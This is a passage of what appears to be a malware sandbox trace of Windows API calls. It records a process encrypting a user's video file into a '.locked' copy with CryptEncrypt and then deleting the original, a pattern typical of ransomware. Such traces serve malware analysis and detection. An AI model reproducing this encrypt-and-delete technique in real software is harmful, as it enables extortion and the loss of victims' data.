lpOldMode=0x99ae064) returned 1 [0139.264] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\m_1jy6jg.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0139.265] GetFileType (hFile=0x768) returned 0x1 [0139.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0139.265] GetFileType (hFile=0x768) returned 0x1 [0139.265] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.265] CryptGenRandom (in: hProv=0x42ebcb0, dwLen=0x10, pbBuffer=0x6ad4264 | out: pbBuffer=0x6ad4264) returned 1 [0139.265] CryptContextAddRef (hProv=0x42ebcb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0139.265] CryptDuplicateKey (in: hKey=0x8e84ff8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84d38) returned 1 [0139.265] CryptContextAddRef (hProv=0x42ebcb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0139.265] CryptSetKeyParam (hKey=0x8e84d38, dwParam=0x4, pbData=0x6ad5520*=0x1, dwFlags=0x0) returned 1 [0139.265] CryptSetKeyParam (hKey=0x8e84d38, dwParam=0x1, pbData=0x6ad54ec, dwFlags=0x0) returned 1 [0139.265] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x3b0\x438\x242") returned 0x0 [0139.266] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.266] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.266] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.266] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.266] ReadFile (in: hFile=0x778, lpBuffer=0x6ad8a7c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6ad8a7c*, lpNumberOfBytesRead=0x99ae7a8*=0x5ba, lpOverlapped=0x0) returned 1 [0139.266] CryptEncrypt (in: hKey=0x8e84d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6aeca88*, pdwDataLen=0x99ae79c*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x6aeca88*, pdwDataLen=0x99ae79c*=0x5b0) returned 1 [0139.266] ReadFile (in: hFile=0x778, lpBuffer=0x6ad8a7c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6ad8a7c*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0139.266] CryptEncrypt (in: hKey=0x8e84d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6aed05c*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6aed05c*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0139.266] CryptEncrypt (in: hKey=0x8e84d38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6aed090*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6aed090*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0139.267] WriteFile (in: hFile=0x768, lpBuffer=0x6ad4324*, nNumberOfBytesToWrite=0x5d4, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6ad4324*, lpNumberOfBytesWritten=0x99ae7c8*=0x5d4, lpOverlapped=0x0) returned 1 [0139.267] CloseHandle (hObject=0x768) returned 1 [0139.269] CloseHandle (hObject=0x778) returned 1 [0139.269] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", lpFilePart=0x0) returned 0x29 [0139.269] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.269] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.269] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.269] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.270] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\m_1jy6jg.mp4")) returned 0x20 [0139.270] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", lpFilePart=0x0) returned 0x29 [0139.270] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0139.271] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0139.271] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0139.271] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0139.271] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0139.271] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0139.271] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0139.271] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0139.271] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0139.271] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0139.271] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0139.271] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0139.271] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0139.271] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0139.272] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0139.272] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0139.272] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\m_1jy6jg.mp4")) returned 0x20 [0139.272] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", lpFilePart=0x0) returned 0x29 [0139.272] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", lpFilePart=0x0) returned 0x29 [0139.272] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", lpFilePart=0x0) returned 0x29 [0139.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0139.272] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", lpFilePart=0x0) returned 0x29 [0139.272] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4\\", lpFilePart=0x0) returned 0x2a [0139.272] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0139.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0139.272] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0139.272] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0139.273] CoTaskMemFree (pv=0x8eb8d30) [0139.273] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\m_1jy6jg.mp4")) returned 0x20 [0139.274] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", lpFilePart=0x0) returned 0x29 [0139.274] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", lpFilePart=0x0) returned 0x29 [0139.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0139.274] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\m_1jy6jg.mp4"), fInfoLevelId=0x0, lpFileInformation=0x6afe7fc | out: lpFileInformation=0x6afe7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8257710, ftCreationTime.dwHighDateTime=0x1d4a89a, ftLastAccessTime.dwLowDateTime=0xf0eddf00, ftLastAccessTime.dwHighDateTime=0x1d4a0b6, ftLastWriteTime.dwLowDateTime=0xf0eddf00, ftLastWriteTime.dwHighDateTime=0x1d4a0b6, nFileSizeHigh=0x0, nFileSizeLow=0x5ba)) returned 1 [0139.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0139.274] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\m_1jy6jg.mp4")) returned 1 [0139.275] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.275] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.275] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.275] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.275] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.276] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\m_1jy6jg.mp4.locked")) returned 0x20 [0139.276] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\m_1jy6jg.mp4.locked")) returned 0x20 [0139.276] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4.locked", lpFilePart=0x0) returned 0x30 [0139.276] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4.locked", lpFilePart=0x0) returned 0x30 [0139.276] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.276] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", lpFilePart=0x0) returned 0x29 [0139.276] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.276] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.276] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.276] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.277] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.277] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="ᬀ玹") returned 0x0 [0139.277] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.277] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.277] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.278] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.278] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.278] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.278] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.279] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.279] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.279] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.279] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.279] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.279] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.279] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.279] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, 